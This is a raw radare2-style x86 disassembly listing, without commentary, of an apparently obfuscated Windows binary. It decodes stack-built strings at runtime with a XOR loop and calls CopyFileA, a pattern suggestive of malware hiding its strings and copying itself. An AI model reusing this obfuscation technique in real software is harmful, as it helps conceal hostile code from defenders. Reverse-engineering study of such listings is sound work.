mov eax, dword [ebp - 0x1c]
test al, 1
je 0x4221bc
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x4221bc
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4221b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a2f
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp byte [ebp - 0x15], 0
je 0x42335c
xorps xmm0, xmm0
mov dword [ebp - 0x37], 0xd7c9d581
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
xor ecx, ecx
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 4
jb 0x4221e7
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x37]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x14c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x148], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422223
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x15c]
call fcn.00402c40
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x7c], 0xf3
cmovae eax, dword [ebp - 0x15c]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x7b], xmm0
mov dword [ebp - 0x6b], 0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 1
jb 0x422275
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4222a8
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4222d2
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xa0]
sub eax, esi
cmp eax, ecx
jb 0x423a34
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0xc8]
call fcn.004946d0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1e8]
cmp dword [ebp - 0x1d4], 0x10
mov edx, dword [ebp - 0xb8]
cmovae ecx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0xb4]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x422380
cmp dword [ebp - 0xb4], 0x10
lea esi, [ebp - 0xc8]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xc8]
mov dword [ebp - 0xb8], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
lea eax, [ebp - 0xc8]
jmp 0x422393
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x144]
push dword [ebp - 0x1c]
call fcn.0048c9d0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x42246f
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422465
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a39
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x4224c8
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4224be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a39
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x42251b
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422511
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a39
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x422559
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42254f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a39
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
jne 0x42331e
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
push 0
cmovae ecx, dword [ebp - 0x98]
lea eax, [ebp - 0x200]
cmp dword [ebp - 0x1ec], 0x10
push ecx
cmovae eax, dword [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x42331e
movaps xmm0, xmmword [0x550fc0]
xor ecx, ecx
movups xmmword [ebp - 0xfc], xmm0
mov dword [ebp - 0xec], 0xe2adb290
xorps xmm0, xmm0
mov dword [ebp - 0xe8], 0x8e828d8b
mov word [ebp - 0xe4], 0x9b82
mov byte [ebp - 0xe2], 0x9d
movups xmmword [ebp - 0xe1], xmm0
mov dword [ebp - 0xd1], 0
mov word [ebp - 0xcd], 0
mov byte [ebp - 0xcb], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xfc], al
inc ecx
cmp ecx, 0x1b
jb 0x422610
mov dword [0x565618], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xfc]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x68], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422650
sub ecx, edx
lea eax, [ebp - 0xfc]
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00402c40
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0xe8], 0xc69e908d
cmovae eax, dword [ebp - 0x7c]
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov word [ebp - 0xe4], 0x94dd
mov byte [ebp - 0xe2], 0x97
movups xmmword [ebp - 0xe1], xmm0
mov dword [ebp - 0xd1], 0
mov word [ebp - 0xcd], 0
mov byte [ebp - 0xcb], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 7
jb 0x4226c0
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe8]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422700
sub ecx, edx
lea eax, [ebp - 0xe8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 0x22
lea edi, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0xe8], 0xc69e908d
cmovae edi, dword [ebp - 0x64]
xor ecx, ecx
mov word [ebp - 0xe4], 0x94c1
mov byte [ebp - 0xe2], 0x97
movups xmmword [ebp - 0xe1], xmm0
mov dword [ebp - 0xd1], 0
mov word [ebp - 0xcd], 0
mov byte [ebp - 0xcb], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 7
jb 0x422770
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xe8]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x14c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x148], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4227b5
sub ecx, edx
lea eax, [ebp - 0xe8]
push ecx
push eax
lea ecx, [ebp - 0x15c]
call fcn.00402c40
mov byte [ebp - 4], 0x23
lea esi, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
lea ecx, [ebp - 0x3b8]
xorps xmm0, xmm0
mov dword [ebp - 0x17c], 0
cmovae esi, dword [ebp - 0x15c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x178], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422810
sub ecx, edx
lea eax, [ebp - 0x3b8]
push ecx
push eax
lea ecx, [ebp - 0x18c]
call fcn.00402c40
mov byte [ebp - 4], 0x24
xor ecx, ecx
movaps xmm0, xmmword [0x552120]
movups xmmword [ebp - 0xfa], xmm0
mov dword [ebp - 0xea], 0xe2a7ef9f
xorps xmm0, xmm0
mov dword [ebp - 0xe6], 0xe69096ec
mov byte [ebp - 0xe2], 0xe5
movups xmmword [ebp - 0xe1], xmm0
mov dword [ebp - 0xd1], 0
mov word [ebp - 0xcd], 0
mov byte [ebp - 0xcb], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xfa], al
inc ecx
cmp ecx, 0x19
jb 0x422880
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xfa]
mov byte [ebp - 0xe1], 0
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x118], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4228c5
sub ecx, edx
lea eax, [ebp - 0xfa]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402c40
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x18c]
cmp dword [ebp - 0x118], 0x10
lea edx, [ebp - 0x12c]
push eax
cmovae edx, dword [ebp - 0x12c]
lea ecx, [ebp - 0x34]
call fcn.00490af0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0048c9d0
mov dword [ebp - 0x164], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x160], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x174], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x164], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x27
push eax
lea edx, [ebp - 0x174]
lea ecx, [ebp - 0x2ac]
call fcn.00490bf0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x294]
call fcn.00490a30
add esp, 4
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x29
push ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00490bf0
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xe4]
push dword [ebp - 0x14]
mov edx, eax
call fcn.00490a30
add esp, 4
lea ecx, [ebp - 0x234]
call fcn.00402ad0
lea ecx, [ebp - 0x294]
call fcn.00402ad0
lea ecx, [ebp - 0x2ac]
call fcn.00402ad0
lea ecx, [ebp - 0x174]
call fcn.00402ad0
lea ecx, [ebp - 0x34]
call fcn.00402ad0
lea ecx, [ebp - 0x12c]
call fcn.00402ad0
lea ecx, [ebp - 0x18c]
call fcn.00402ad0
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x422a4b
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422a41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a3e
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x422a83
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422a79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a3e
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x35
mov ecx, dword [ebp - 0x68]
cmp ecx, 0x10
jb 0x422abb
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422ab1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a3e
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0xd4], 0
lea eax, [ebp - 0xe4]
setbe byte [ebp - 0x15]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0048ccc0
mov cl, byte [ebp - 0x15]
call fcn.0041e040
movaps xmm0, xmmword [0x552640]
add esp, 0x18
movups xmmword [ebp - 0x1bf], xmm0
mov dword [ebp - 0x1af], 0xaeb3ef9f
xor ecx, ecx
xorps xmm0, xmm0
mov dword [ebp - 0x1ab], 0x818c8ce3
mov dword [ebp - 0x1a7], 0x9e9a8d8f
movups xmmword [ebp - 0x1a3], xmm0
mov dword [ebp - 0x193], 0
mov word [ebp - 0x18f], 0
mov byte [ebp - 0x18d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1bf], al
inc ecx
cmp ecx, 0x1c
jb 0x422b34
mov dword [0x5655f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1bf]
mov byte [ebp - 0x1a3], 0
movups xmmword [ebp - 0x12c], xmm0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x118], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422b80
sub ecx, edx
lea eax, [ebp - 0x1bf]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402c40
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x3a], 0xc69e908d
cmovae eax, dword [ebp - 0x12c]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x36], 0x94dd
mov byte [ebp - 0x34], 0x97
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 7
jb 0x422be2
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3a]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x164], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x160], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422c20
sub ecx, edx
lea eax, [ebp - 0x3a]
push ecx
push eax
lea ecx, [ebp - 0x174]
call fcn.00402c40
mov byte [ebp - 4], 0x37
lea edi, [ebp - 0x174]
cmp dword [ebp - 0x160], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x3a], 0xc69e908d
cmovae edi, dword [ebp - 0x174]
xor ecx, ecx
mov word [ebp - 0x36], 0x94c1
mov byte [ebp - 0x34], 0x97
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 7
jb 0x422c80
mov dword [0x565560], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3a]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x178], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422cc0
sub ecx, edx
lea eax, [ebp - 0x3a]
push ecx
push eax
lea ecx, [ebp - 0x18c]
call fcn.00402c40
mov byte [ebp - 4], 0x38
lea esi, [ebp - 0x18c]
cmp dword [ebp - 0x178], 0x10
lea ecx, [ebp - 0x3b8]
xorps xmm0, xmm0
mov dword [ebp - 0x54], 0
cmovae esi, dword [ebp - 0x18c]
lea edx, [ecx + 1]
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x50], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422d10
sub ecx, edx
lea eax, [ebp - 0x3b8]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 0x39
xor ecx, ecx
movaps xmm0, xmmword [0x552120]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0xe2a7ef9f
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0xe69096ec
mov byte [ebp - 0x34], 0xe5
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0x19
jb 0x422d64
mov dword [0x565638], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x15c], xmm0
mov dword [ebp - 0x14c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x148], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422da0
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x15c]
call fcn.00402c40
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x148], 0x10
lea edx, [ebp - 0x15c]
push eax
cmovae edx, dword [ebp - 0x15c]
lea ecx, [ebp - 0x264]
call fcn.00490af0
add esp, 4
push esi
mov ecx, eax
mov byte [ebp - 4], 0x3b
call fcn.0048c9d0
mov dword [ebp - 0x6c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x68], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x7c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x3c
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x24c]
call fcn.00490bf0
add esp, 4
push edi
mov ecx, eax
mov byte [ebp - 4], 0x3d
call fcn.0048c9d0
mov dword [ebp - 0xb8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3e
lea edx, [ebp - 0x1e8]
cmp dword [ebp - 0x1d4], 0x10
mov ecx, dword [ebp - 0xb8]
cmovae edx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0xb4]
mov edi, dword [ebp - 0x1d8]
sub eax, ecx
mov dword [ebp - 0x14], ecx
push edi
push edx
cmp edi, eax
ja 0x422f04
cmp dword [ebp - 0xb4], 0x10
lea esi, [ebp - 0xc8]
lea eax, [edi + ecx]
cmovae esi, dword [ebp - 0xc8]
mov dword [ebp - 0xb8], eax
lea eax, [esi + ecx]
push eax
call fcn.00506990
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xc8]
jmp 0x422f17
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x130], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x144], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x134], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x144]
push dword [ebp - 0x1c]
call fcn.0048c9d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x234], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x224], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x41
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x422fd5
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422fcb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], 0
mov byte [ebp - 4], 0x42
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x42302e
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423024
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x43
mov ecx, dword [ebp - 0x238]
cmp ecx, 0x10
jb 0x423087
mov edx, dword [ebp - 0x24c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42307d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
mov byte [ebp - 0x24c], 0
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x68]
cmp ecx, 0x10
jb 0x4230da
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4230d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], 0
mov byte [ebp - 4], 0x45
mov ecx, dword [ebp - 0x250]
cmp ecx, 0x10
jb 0x42312a
mov edx, dword [ebp - 0x264]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423120
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
mov byte [ebp - 4], 0x46
mov ecx, dword [ebp - 0x148]
cmp ecx, 0x10
jb 0x423183
mov edx, dword [ebp - 0x15c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423179
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x47
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4231bb
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4231b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
mov byte [ebp - 4], 0x48
mov ecx, dword [ebp - 0x178]
cmp ecx, 0x10
jb 0x42320b
mov edx, dword [ebp - 0x18c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423201
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x49
mov ecx, dword [ebp - 0x160]
cmp ecx, 0x10
jb 0x423249
mov edx, dword [ebp - 0x174]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42323f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x118]
cmp ecx, 0x10
jb 0x423287
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42327d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a43
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x234]
mov ecx, esp
push eax
call fcn.0048ccc0
xor cl, cl
call fcn.0041e040
mov byte [ebp - 4], 0x35
add esp, 0x18
mov ecx, dword [ebp - 0x220]
cmp ecx, 0x10
jb 0x4232e0
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4232d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a48
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x42331e
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423314
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a48
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x42335c
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423352
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a48
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x42339a
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423390
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a4d
push ecx
push edx
call fcn.00504f31
add esp, 8
mov esi, dword [ebp - 0x80]
test esi, esi
je 0x4238d6
mov ecx, esi
mov dword [ebp - 0x54], 0
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0
movups xmmword [ebp - 0x64], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4233c0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 0x4b
